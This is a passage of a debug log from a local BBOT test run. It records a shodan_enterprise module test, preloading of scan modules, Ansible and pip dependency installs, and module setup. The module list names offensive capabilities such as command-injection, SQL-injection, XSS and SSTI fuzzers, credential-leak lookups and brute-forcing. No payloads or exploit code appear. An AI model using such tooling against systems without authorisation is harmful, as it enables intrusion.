scanner.py:1181 Completed final finish() -2026-03-01 16:55:02,588 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:55:02,588 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:55:02,589 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:55:02,596 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:55:02,596 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:55:02,597 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:55:02,598 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:55:02,599 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:55:02,599 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:55:02,715 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_hk0jqnboz8 completed in 0 seconds with status FINISHED -2026-03-01 16:55:02,715 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:55:02,716 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:55:53,416 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:55:53,426 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:55:53,427 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:55:53,428 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:55:53,429 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:55:53,430 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:55:53,430 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:55:53,431 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:55:53,432 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:55:53,432 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:55:53,433 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:55:53,434 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:55:53,438 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:55:53,439 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:55:53,440 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:55:53,440 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:55:53,441 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:55:53,442 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:55:53,443 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:55:53,444 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:55:53,444 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:55:53,445 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:55:53,446 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:55:53,446 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:55:53,447 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:55:53,448 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:55:53,449 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:55:53,449 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:55:53,450 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:55:53,450 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:55:53,451 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:55:53,451 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:55:53,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:55:53,453 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:55:53,454 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:55:53,454 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:55:53,455 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:55:53,455 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:55:53,461 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:55:53,461 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:55:53,462 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:55:53,463 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:55:53,464 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:55:53,465 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:55:53,466 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:55:53,466 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:55:53,467 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:55:53,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:55:53,469 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:55:53,470 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:55:53,471 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:55:53,472 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:55:53,472 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:55:53,473 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:55:53,474 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:55:53,474 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:55:53,475 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:55:53,475 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:55:53,476 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:55:53,476 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:55:53,477 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:55:53,478 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:55:53,478 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:55:53,479 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:55:53,479 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:55:53,481 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:55:53,482 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:55:53,482 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:55:53,483 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:55:53,483 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:55:53,484 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:55:53,484 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:55:53,485 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:55:53,486 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:55:53,486 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:55:53,487 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:55:53,487 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:55:53,488 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:55:53,489 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:55:53,489 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:55:53,490 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:55:53,490 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:55:53,491 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:55:53,491 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:55:53,492 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:55:53,492 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:55:53,493 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:55:53,494 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:55:53,494 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:55:53,495 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:55:53,495 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:55:53,496 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:55:53,497 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:55:53,497 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:55:53,498 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:55:53,499 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:55:53,499 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:55:53,500 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:55:53,500 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:55:53,501 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:55:53,502 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:55:53,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:55:53,503 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:55:53,504 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:55:53,504 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:55:53,505 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:55:53,505 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:55:53,506 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:55:53,507 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:55:53,507 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:55:53,508 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:55:53,508 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:55:53,509 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:55:53,509 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:55:53,510 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:55:53,511 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:55:53,511 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:55:53,512 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:55:53,513 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:55:53,514 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:55:53,515 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:55:53,515 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:55:53,516 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:55:53,516 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:55:53,517 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:55:53,519 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:55:53,520 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:55:53,520 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:55:53,521 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:55:53,522 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:55:53,523 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:55:53,523 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:55:53,524 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:55:53,525 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:55:53,525 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:55:53,526 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:55:53,527 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:55:53,528 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:55:53,528 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:55:53,529 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:55:53,530 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:55:53,530 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:55:53,531 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:55:53,532 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:55:53,533 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:55:53,534 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:55:53,534 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:55:53,535 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:55:53,535 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:55:53,536 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:55:53,537 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:55:53,537 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:55:53,538 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:55:53,538 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:55:53,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:55:53,540 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:55:53,541 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:55:53,541 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:55:53,544 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:55:53,545 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:55:53,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:55:53,547 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:55:53,548 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:55:53,548 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:55:53,550 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:55:53,550 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:55:53,551 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:55:54,648 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:55:54,648 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:55:54,649 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:55:54,787 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:55:55,360 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:55:55,559 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:55:55,561 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:55:55,671 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:55:55,671 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:55:55,726 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:55:55,729 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:55:55,729 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:55:56,161 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:55:56,162 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:56:00,001 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:56:00,001 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:56:00,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:56:01,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:56:01,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:56:01,804 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:01,805 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:56:01,805 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:56:01,805 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:56:01,810 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/jmj6ppypvlcqctlatdkh -2026-03-01 16:56:02,603 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:56:02,604 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:56:02,604 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:02,605 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:56:02,605 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:56:02,607 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:56:02,735 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:56:02,736 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:56:02,736 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:56:02,737 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:56:02,737 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:56:02,738 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:56:02,738 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:56:02,738 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:56:02,738 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:56:02,739 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:56:02,742 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:56:02,743 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:56:02,743 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:56:02,744 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:56:02,744 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup 